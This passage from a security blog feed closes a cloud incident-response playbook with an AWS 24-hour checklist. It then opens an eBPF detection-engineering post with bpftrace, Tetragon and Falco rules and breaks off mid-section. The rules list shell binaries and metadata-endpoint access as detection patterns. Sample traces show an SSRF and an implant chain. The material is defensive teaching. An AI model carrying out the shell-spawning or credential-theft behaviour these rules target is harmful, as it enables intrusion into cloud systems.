<p><strong>Revoking a credential mid-operation breaks running jobs.</strong> If the compromised IAM role is used by production services, the deny-all policy will immediately break those services. Have a plan for emergency credential rotation before you act — either a separate role for legitimate services or a maintenance window. The contain-vs-service-availability tradeoff is a real one; make it deliberately, document it in the incident log.</p>
<p><strong>CloudTrail data events are not enabled by default.</strong> Management events (API calls like CreateUser, RunInstances, AssumeRole) are enabled. Data events (S3 GetObject, Lambda function invocations, DynamoDB item-level activity) must be explicitly enabled and cost extra. If you discover during an incident that you needed S3 data events and didn&#8217;t have them, you cannot reconstruct what data the attacker accessed. Enable them before the incident.</p>
<p><strong>Forensic snapshots cost money.</strong> EBS snapshot storage is not free, and snapshotting every volume on every compromised instance adds up. Have a pre-approved IR budget that includes forensic snapshot costs — getting financial approval in the middle of an active incident is a delay you don&#8217;t want.</p>
<p><strong>Legal hold means don&#8217;t delete anything.</strong> Once legal is involved, no evidence can be destroyed without legal clearance. That includes the compromised EC2 instances, the forensic snapshots, the log exports, and the incident Slack channel. Set legal-hold tags on all IR artifacts immediately and don&#8217;t clean up until legal explicitly says to.</p>
<p><strong>The attacker may still be in.</strong> Containment removes one credential and one network path. If the attacker established multiple persistence mechanisms before you detected them, containment is the beginning of the eradication phase, not the end. Assume they&#8217;re still in until the persistence hunt is complete.</p>
<p><strong>Multi-account blast radius compounds quickly.</strong> AssumeRole chains can cross account boundaries. A compromised role in account A that can assume a role in account B means the blast radius spans both accounts, and CloudTrail logging in account A does not show what the attacker did after assuming the role in account B. Pull CloudTrail from every account in the blast radius.</p>
<hr />
<h2 id="quick-reference-ir-checklist-first-24-hours">Quick Reference: IR Checklist — First 24 Hours</h2>
<h3 id="hour-01-declare-and-scope">Hour 0–1: Declare and Scope</h3>
<ul>
<li>[ ] Declare incident — do not investigate quietly</li>
<li>[ ] Notify: CISO, Legal, on-call SRE lead</li>
<li>[ ] Create incident Slack channel: <code class="" data-line="">#incident-YYYY-MM-DD-descriptor</code></li>
<li>[ ] Start timestamped incident log (shared doc, assign scribe)</li>
<li>[ ] Query CloudTrail: last 1–2 hours of suspected principal activity</li>
<li>[ ] Check GuardDuty for active findings</li>
<li>[ ] Answer: active or historical? blast radius? data at risk?</li>
</ul>
<h3 id="hour-14-preserve-then-contain">Hour 1–4: Preserve, Then Contain</h3>
<ul>
<li>[ ] <strong>FIRST:</strong> Snapshot all volumes on compromised EC2 instances</li>
<li>[ ] <strong>FIRST:</strong> Export CloudTrail logs for incident window to IR evidence directory</li>
<li>[ ] <strong>FIRST:</strong> Export VPC Flow Logs for incident window</li>
<li>[ ] Revoke compromised IAM credential (disable key or attach deny-all policy)</li>
<li>[ ] For role sessions: use <code class="" data-line="">DateLessThan</code> condition to invalidate active sessions</li>
<li>[ ] Apply isolation security group to compromised EC2 instances (do NOT terminate)</li>
<li>[ ] Cordon compromised Kubernetes nodes (do NOT delete pods before forensic capture)</li>
<li>[ ] Collect pod forensics: spec, env vars, process list, network connections</li>
</ul>
<h3 id="hour-412-investigate">Hour 4–12: Investigate</h3>
<ul>
<li>[ ] Trace AssumeRole chain from compromised principal — build the lateral movement graph</li>
<li>[ ] Query S3 GetObject, GetSecretValue, Decrypt events for data access scope</li>
<li>[ ] Hunt persistence: new IAM users/roles, new access keys, Lambda modifications</li>
<li>[ ] Check EC2 user-data modifications, new CloudFormation stacks</li>
<li>[ ] Pull Tetragon/Falco evidence if available — process lineage and connection logs</li>
<li>[ ] Cross-account check: pull CloudTrail from every account reached via AssumeRole</li>
</ul>
<h3 id="hour-1224-eradicate-and-recover_1">Hour 12–24: Eradicate and Recover</h3>
<ul>
<li>[ ] Delete all unauthorized IAM users/roles/access keys created during incident</li>
<li>[ ] Rotate ALL credentials in the blast radius (not just the initial compromise)</li>
<li>[ ] Remove Lambda backdoors — replace entire deployment package, reset environment</li>
<li>[ ] Replace compromised instances from known-good hardened AMI (do not patch-in-place)</li>
<li>[ ] Recover: dev → staging → prod. Verify detection fires in dev before promoting.</li>
<li>[ ] Declare all-clear only after monitoring shows clean in prod for 4+ hours</li>
</ul>
<h3 id="ongoing-regulatory-and-communication">Ongoing: Regulatory and Communication</h3>
<ul>
<li>[ ] Log discovery time — regulatory clocks (GDPR 72h, HIPAA 60d) start at discovery</li>
<li>[ ] Legal hold on all IR artifacts — do not delete without legal clearance</li>
<li>[ ] Schedule post-incident review within 72 hours of resolution</li>
<li>[ ] Update this playbook before the next incident</li>
</ul>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>A <strong>cloud incident response playbook</strong> only works if it has been rehearsed before the incident — the ChangeHealthcare attack showed that nine days of undetected dwell time transforms a credential theft into a national healthcare disruption</li>
<li>Preserve before you contain: snapshot volumes and export logs before revoking credentials or isolating instances — forensic evidence destroyed during hasty containment cannot be reconstructed</li>
<li>The contain-vs-evidence tension is real and deliberate: isolated EC2 instances remain available for forensic access via IR bastion; terminated instances do not</li>
<li>CloudTrail data events (S3 GetObject, Lambda invocations) are not enabled by default — if you need them during an incident and haven&#8217;t pre-enabled them, your data access scope is unknown</li>
<li>Recovery sequence is dev → staging → prod, and you verify detection fires in dev before promoting — if you can&#8217;t reproduce the detection that caught the original incident, you don&#8217;t know if it still works</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>This playbook is reactive. You run it after something goes wrong. EP13 is about making it proactive — running structured attack simulations against your own infrastructure on a regular cadence so the first time your team works through this sequence is not during an actual breach. Continuous purple team testing means your IR team has muscle memory for the playbook, your detection tooling is validated against real attack patterns, and your blast radius assumptions are tested before an attacker tests them for you.</p>
<p>Get EP13 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&#038;title=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" data-a2a-url="https://linuxcent.com/cloud-incident-response-playbook-24-hours/" data-a2a-title="Cloud Incident Response Playbook: First 24 Hours After a Breach"></a></p><p>The post <a href="https://linuxcent.com/cloud-incident-response-playbook-24-hours/">Cloud Incident Response Playbook: First 24 Hours After a Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-incident-response-playbook-24-hours/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1876</post-id>	</item>
		<item>
		<title>Detection Engineering with eBPF: Kernel-Level Visibility for Cloud Incidents</title>
		<link>https://linuxcent.com/detection-engineering-ebpf-cloud/</link>
					<comments>https://linuxcent.com/detection-engineering-ebpf-cloud/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Detection Engineering]]></category>
		<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Falco]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tetragon]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1873</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 13</span> <span class="rt-label rt-postfix">minutes</span></span>eBPF gives detection engineers kernel-level visibility that no attacker can evade without kernel access. Build detection rules for the techniques your SIEM misses entirely.</p>
<p>The post <a href="https://linuxcent.com/detection-engineering-ebpf-cloud/">Detection Engineering with eBPF: Kernel-Level Visibility for Cloud Incidents</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 13</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-attack/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape/">Kubernetes container escape</a> → <a href="/supply-chain-attack-detection/">Supply chain attack detection</a> → <a href="/cloud-lateral-movement-iam-role-chaining/">Cloud lateral movement</a> → <strong>Detection Engineering with eBPF</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Detection engineering with eBPF</strong> addresses OWASP A09 directly: most process-level attack techniques leave no trace in CloudTrail, VPC Flow Logs, or syslog — eBPF hooks in the kernel observe them before the attacker has any ability to suppress the record</li>
<li>CloudTrail is API-plane only; VPC Flow Logs are network-plane only with a 15-minute aggregation delay and no process context; syslog captures only what userspace processes voluntarily emit — all three miss the OS-level attack surface entirely</li>
<li>eBPF attaches to kernel syscall tracepoints and kprobes to capture <code class="" data-line="">connect()</code>, <code class="" data-line="">execve()</code>, <code class="" data-line="">mount()</code>, <code class="" data-line="">setuid()</code>, and <code class="" data-line="">open()</code> with full context: PID, process name, container cgroup, parent process, timestamp — in real time</li>
<li>Falco and Tetragon are the production-grade always-on options; bpftrace is the ad-hoc investigation tool — use each for what it is designed for</li>
<li>Tetragon&#8217;s <code class="" data-line="">TracingPolicy</code> can kill a process at the moment of the violating syscall, before the attack completes — this is enforcement, not just alerting</li>
<li>Every attack in EP07 through EP10 has a detectable kernel-level signal; this episode maps each one to a concrete eBPF detection rule</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A09 Security Logging and Monitoring Failures — the structural gap this series has referenced from EP04 onward: attacks that succeed not because defenses are absent, but because the telemetry layer cannot see the OS surface where the attacks execute.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│                  DETECTION ENGINEERING WITH eBPF                        │
│                                                                         │
│   KERNEL SPACE                          USERSPACE                       │
│                                                                         │
│   syscall/kprobe hooks                                                  │
│   ┌──────────────────┐                                                  │
│   │ connect()        │──&#x25b6; ring buffer ──&#x25b6; Tetragon ──&#x25b6; Hubble/SIEM     │
│   │ execve()         │                                                  │
│   │ mount()          │──&#x25b6; ring buffer ──&#x25b6; Falco   ──&#x25b6; Slack/PagerDuty │
│   │ setuid()         │                                                  │
│   │ open()           │──&#x25b6; perf buffer ──&#x25b6; bpftrace ──&#x25b6; stdout/log     │
│   └──────────────────┘                                                  │
│          │                                                              │
│          │  Context captured at hook:                                   │
│          │  PID · comm · cgroup (container ID) · args · timestamp      │
│          │  parent PID · network namespace · mount namespace           │
│                                                                         │
│   ═══════════════════════════════════════════════════════════           │
│   WHAT OTHER TOOLS SEE                                                  │
│   CloudTrail:     API calls only — nothing below the AWS SDK            │
│   VPC Flow Logs:  src/dst IP+port only — 15-min delay, no PID          │
│   Syslog:         What the process chose to log — attacker controls it  │
│   eBPF:           Every syscall — attacker cannot suppress it          │
│                   without kernel access                                 │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Detection engineering with eBPF</strong> closes the observability gap that every previous episode in this series exploited. The SSRF in EP07 made an outbound connection to 169.254.169.254 — the EC2 metadata endpoint — from a web application process. VPC Flow Logs show that IP eventually. CloudTrail shows nothing. eBPF shows the <code class="" data-line="">connect()</code> syscall with the PID, the process name, the container cgroup ID, and the timestamp, in the sub-millisecond window it occurred.</p>
<hr />
<h2 id="the-problem-your-siem-has-a-15-minute-hole">The Problem: Your SIEM Has a 15-Minute Hole</h2>
<p>During a cloud incident response engagement, the question came up in the first hour: did this process make any outbound connections in the last 30 minutes?</p>
<p>Four telemetry sources, four answers:</p>
<p><strong>CloudTrail:</strong> Not applicable. CloudTrail records AWS API calls. A process inside an EC2 instance making a raw TCP connection to an external IP — or to the metadata endpoint — is OS-level activity. CloudTrail has no record of it.</p>
<p><strong>VPC Flow Logs:</strong> Maybe, eventually. Flow Logs aggregate at 1-minute or 10-minute intervals (configurable), then land in S3 or CloudWatch Logs with additional delay. In practice, you&#8217;re looking at 10–15 minutes before the data is queryable. The flow record contains source IP, destination IP, source port, destination port, protocol, bytes, packets — and nothing else. There is no PID. There is no process name. There is no indication of which container inside the EC2 instance made the connection. If ten pods are running on the same node, VPC Flow Logs tells you the node talked to an external IP. You don&#8217;t know which pod.</p>
<p><strong>Syslog:</strong> Nothing logged. The process — a compromised web application exploited via SSRF — didn&#8217;t log the connection. It wouldn&#8217;t. Application code doesn&#8217;t emit syslog entries for every outbound connection it makes. And an attacker controlling the process would not add logging.</p>
<p><strong>eBPF TC hook:</strong> Every TCP connection attempt, from the moment it entered the network stack, with PID, process name, container cgroup ID, destination IP, destination port, source IP, and timestamp — in real time, with zero delay.</p>
<p>That is the gap. Everything in EP04 through EP10 of this series lived in it.</p>
<p>The OWASP A09 framing is exactly right: these are not failures of detection rules, they are failures of the telemetry layer. You cannot write a SIEM rule for data that is never collected. eBPF collects the data that the other layers structurally cannot.</p>
<hr />
<h2 id="what-ebpf-detects-that-other-tools-miss">What eBPF Detects That Other Tools Miss</h2>
<table>
<thead>
<tr>
<th>Technique</th>
<th>CloudTrail</th>
<th>VPC Flow Logs</th>
<th>Syslog</th>
<th>eBPF</th>
</tr>
</thead>
<tbody>
<tr>
<td>Process spawn inside container</td>
<td>No</td>
<td>No</td>
<td>Maybe (if auditd configured)</td>
<td>Yes — execve(): PID, command, args, parent PID, container cgroup</td>
</tr>
<tr>
<td>Outbound TCP connection</td>
<td>No</td>
<td>IP+port, 15-min delay, no PID</td>
<td>No</td>
<td>connect(): IP+port+PID+comm+container, real-time</td>
</tr>
<tr>
<td>File write to /etc/passwd</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>openat()+write(): exact path, PID, comm, container</td>
</tr>
<tr>
<td>Privilege escalation (setuid/setgid)</td>
<td>No</td>
<td>No</td>
<td>Maybe (auditd)</td>
<td>Yes — setuid() syscall args: target UID, calling PID, comm</td>
</tr>
<tr>
<td>Container escape attempt via mount</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>mount(): args, mount namespace ID, calling PID — namespace mismatch detectable</td>
</tr>
<tr>
<td>SSRF to 169.254.169.254</td>
<td>No</td>
<td>IP only, 15-min delay</td>
<td>No</td>
<td>connect() from app process to metadata IP — PID, comm, container, real-time</td>
</tr>
<tr>
<td>Binary execution with unusual parent</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>execve(): full parent chain — detects shell spawned from web process</td>
</tr>
<tr>
<td>Kubernetes secret file read</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>openat() on /run/secrets/kubernetes.io/serviceaccount/token</td>
</tr>
<tr>
<td>STS credential fetch from Lambda</td>
<td>No</td>
<td>Endpoint IP only</td>
<td>No</td>
<td>connect() to sts.amazonaws.com from unexpected process</td>
</tr>
</tbody>
</table>
<p>The pattern across the table is consistent: CloudTrail covers the AWS control plane. VPC Flow Logs cover the network plane with delay and no process context. Syslog covers what processes choose to emit. eBPF covers the syscall surface — the layer where every one of these events must pass, regardless of what the attacker wants.</p>
<blockquote>
<p><strong>For operators not writing eBPF:</strong> This table tells you what your current SIEM can and cannot see. If your threat model includes container escapes, SSRF-to-metadata attacks, or post-compromise lateral movement through process execution, the detection signal for those techniques does not exist in your CloudTrail or your flow logs. It exists only at the kernel level.</p>
</blockquote>
<hr />
<h2 id="detection-rule-1-unexpected-outbound-from-an-application-container">Detection Rule 1: Unexpected Outbound from an Application Container</h2>
<p>The SSRF attack in EP07 — and the lateral movement in EP10 — both required an outbound TCP connection from a process that had no legitimate reason to make one. This is the detection.</p>
<h3 id="ad-hoc-investigation-with-bpftrace">Ad-hoc investigation with bpftrace</h3>
<p>When you&#8217;re on a node right now and need to know what&#8217;s connecting outbound:</p>
<pre><code class="" data-line=""># Shows PID, process name, and destination IP in real time
# Run on the node (requires root or CAP_BPF)
bpftrace -e &#039;
#include &lt;linux/socket.h&gt;
#include &lt;linux/in.h&gt;

tracepoint:syscalls:sys_enter_connect {
  $sa = (struct sockaddr_in *)args-&gt;uservaddr;
  if ($sa-&gt;sin_family == AF_INET) {
    printf(&quot;connect: pid=%-6d comm=%-20s dst=%s:%d\n&quot;,
           pid,
           comm,
           ntop($sa-&gt;sin_addr.s_addr),
           (uint16)bswap($sa-&gt;sin_port));
  }
}
&#039;
</code></pre>
<p>Sample output — what you&#8217;d see during an SSRF exploit targeting the EC2 metadata service:</p>
<pre><code class="" data-line="">connect: pid=18422  comm=python3              dst=169.254.169.254:80
connect: pid=18422  comm=python3              dst=169.254.169.254:80
connect: pid=18432  comm=curl                 dst=169.254.169.254:80
</code></pre>
<p>The <code class="" data-line="">python3</code> process — your web application — connecting to <code class="" data-line="">169.254.169.254</code> is the metadata endpoint. That&#8217;s not a legitimate application dependency. That&#8217;s the SSRF signal.</p>
<blockquote>
<p><strong><a href="/bpftrace-kernel-observability/">bpftrace — kernel answers in one line</a></strong> goes deep on the tracepoint/kprobe model and how to filter by cgroup for container-specific traces. The one-liners above are the starting point; that post covers building targeted investigation scripts.</p>
</blockquote>
<h3 id="production-grade-enforcement-with-tetragon">Production-grade enforcement with Tetragon</h3>
<p>bpftrace is for investigation. Tetragon is for always-on detection — and optionally, prevention.</p>
<pre><code class="" data-line=""># TracingPolicy: alert on outbound connections from non-host network namespaces
# (any container making outbound TCP connections)
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: &quot;detect-outbound-connections&quot;
spec:
  kprobes:
  - call: &quot;tcp_connect&quot;
    syscall: false
    args:
    - index: 0
      type: &quot;sock&quot;
    selectors:
    - matchNamespaces:
      - namespace: Net
        operator: NotIn
        values:
        - &quot;host&quot;
      matchActions:
      - action: Post   # Generate an alert event; change to Sigkill to prevent
</code></pre>
<p>To detect specifically the SSRF-to-metadata pattern — connections to <code class="" data-line="">169.254.169.254</code>:</p>
<pre><code class="" data-line="">apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: &quot;detect-imds-access&quot;
spec:
  kprobes:
  - call: &quot;tcp_connect&quot;
    syscall: false
    args:
    - index: 0
      type: &quot;sock&quot;
    selectors:
    - matchArgs:
      - index: 0
        operator: &quot;Equal&quot;
        values:
        - &quot;169.254.169.254/32&quot;
      matchActions:
      - action: Post
        rateLimit: &quot;1/minute&quot;
</code></pre>
<p>Tetragon events include <code class="" data-line="">process_kprobe</code> JSON with the pod name, namespace, container ID, binary path, parent binary, and all arguments. This feeds directly into your SIEM or to Hubble&#8217;s flow log.</p>
<hr />
<h2 id="detection-rule-2-process-execution-inside-a-container">Detection Rule 2: Process Execution Inside a Container</h2>
<p>A shell spawning inside a container that has no business running a shell is a post-compromise indicator. It covers the container escape setup from EP08, the supply chain implant from EP09, and any hands-on-keyboard phase after initial access.</p>
<h3 id="falco-rule-shell-spawned-from-application-container">Falco rule: shell spawned from application container</h3>
<pre><code class="" data-line=""># Falco rule: detect any shell spawned in a container
# Add to /etc/falco/rules.d/purple-team.yaml
- list: shell_binaries
  items: [bash, sh, zsh, ksh, fish, tcsh, csh, dash]

- list: allowed_shell_images
  items: [
    &quot;debug-tools&quot;,     # Your approved debug container image names
    &quot;toolbox&quot;
  ]

- rule: Shell Spawned in Container
  desc: &gt;
    A shell was spawned inside a container. In application containers (web servers,
    APIs, data processors) this is almost always a post-compromise indicator.
  condition: &gt;
    evt.type = execve and
    evt.dir = &lt; and
    container and
    container.image.repository != &quot;&quot; and
    proc.name in (shell_binaries) and
    not proc.pname in (shell_binaries) and
    not container.image.repository in (allowed_shell_images) and
    not k8s.ns.name in (kube-system, kube-public)
  output: &gt;
    Shell spawned in container
    (user=%user.name
     container=%container.name
     image=%container.image.repository
     cmd=%proc.cmdline
     parent=%proc.pname
     pod=%k8s.pod.name
     ns=%k8s.ns.name)
  priority: WARNING
  tags: [purple-team, post-compromise, container]
</code></pre>
<p>The <code class="" data-line="">proc.pname</code> condition is the key signal: a shell spawned by a web server process (<code class="" data-line="">nginx</code>, <code class="" data-line="">node</code>, <code class="" data-line="">gunicorn</code>, <code class="" data-line="">java</code>) is a different threat than a shell spawned by another shell in a debug context. The rule above passes the second case through the <code class="" data-line="">allowed_shell_images</code> exclusion; it flags the first.</p>
<h3 id="detecting-the-supply-chain-implant-pattern">Detecting the supply chain implant pattern</h3>
<p>EP09 covered supply chain attacks where a build artifact executes unexpected binaries at runtime. The bpftrace version for ad-hoc investigation of what a specific container is executing:</p>
<pre><code class="" data-line=""># bpftrace: trace all execve() calls from processes inside a specific container
# First, find the container&#039;s cgroup ID:
# systemd-cgls | grep &lt;pod-name&gt;
# Or: cat /sys/fs/cgroup/unified/&lt;cgroup-path&gt;/cgroup.procs

bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
  printf(&quot;execve: pid=%-6d ppid=%-6d comm=%-20s file=%s\n&quot;,
         pid,
         curtask-&gt;real_parent-&gt;tgid,
         comm,
         str(args-&gt;filename));
}
&#039; 2&gt;/dev/null | grep -v &quot;^\[&quot; | head -50
</code></pre>
<p>Sample output during a supply chain compromise scenario — unexpected binary execution from a package manager implant:</p>
<pre><code class="" data-line="">execve: pid=31204  ppid=31190  comm=node                 file=/bin/sh
execve: pid=31205  ppid=31204  comm=sh                   file=/tmp/.x/beacon
execve: pid=31206  ppid=31205  comm=beacon               file=/usr/bin/curl
</code></pre>
<p>The chain <code class="" data-line="">node → sh → /tmp/.x/beacon → curl</code> — application process spawning a shell, which executes an unknown binary from <code class="" data-line="">/tmp</code>, which runs <code class="" data-line="">curl</code> — is the supply chain implant execution pattern. None of this appears in CloudTrail.</p>
<hr />
<h2 id="detection-rule-3-privilege-escalation-setuid0-and-capability-abuse">Detection Rule 3: Privilege Escalation — setuid(0) and Capability Abuse</h2>
<p>A process calling <code class="" data-line="">setuid(0)</code> to elevate to root, or <code class="" data-line="">setcap</code> to acquire new capabilities, is a privilege escalation indicator. The EP08 container escape path used a setuid binary to gain root inside the container as the first step toward escaping the namespace.</p>
<h3 id="bpftrace-catch-setuid0-calls-in-real-time">bpftrace: catch setuid(0) calls in real time</h3>
<pre><code class="" data-line=""># bpftrace: alert on any process calling setuid(0)
# Any process attempting to switch to UID 0
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_setuid {
  if (args-&gt;uid == 0) {
    printf(&quot;ALERT setuid(0): pid=%-6d comm=%-20s ppid=%d pcomm=%s\n&quot;,
           pid,
           comm,
           curtask-&gt;real_parent-&gt;tgid,
           str(curtask-&gt;real_parent-&gt;comm));
  }
}
tracepoint:syscalls:sys_enter_setresuid {
  if (args-&gt;ruid == 0 || args-&gt;euid == 0) {
    printf(&quot;ALERT setresuid(root): pid=%-6d comm=%-20s\n&quot;, pid, comm);
  }
}
&#039;
</code></pre>
<h3 id="falco-rule-setuid-binary-execution-inside-container">Falco rule: setuid binary execution inside container</h3>
<pre><code class="" data-line="">- rule: Setuid Binary Executed in Container
  desc: &gt;
    A setuid binary was executed inside a container. Setuid binaries inside
    containers are a privilege escalation path — they run as root regardless
    of the container&#039;s user setting.
  condition: &gt;
    evt.type = execve and
    evt.dir = &lt; and
    container and
    proc.is_suid_exe = true
  output: &gt;
    Setuid binary executed in container
    (binary=%proc.exepath
     user=%user.name
     container=%container.name
     pod=%k8s.pod.name
     cmd=%proc.cmdline)
  priority: ERROR
  tags: [purple-team, privilege-escalation, container]
</code></pre>
<hr />
<h2 id="detection-rule-4-container-escape-attempt-via-namespace-crossing-mount">Detection Rule 4: Container Escape Attempt via Namespace-Crossing Mount</h2>
<p>The privileged container escape path from EP08 requires calling <code class="" data-line="">mount()</code> from a container namespace to access the host filesystem. The kernel records the mount namespace of the calling process — an eBPF kprobe on <code class="" data-line="">mount()</code> can detect when the caller&#8217;s mount namespace differs from the host namespace.</p>
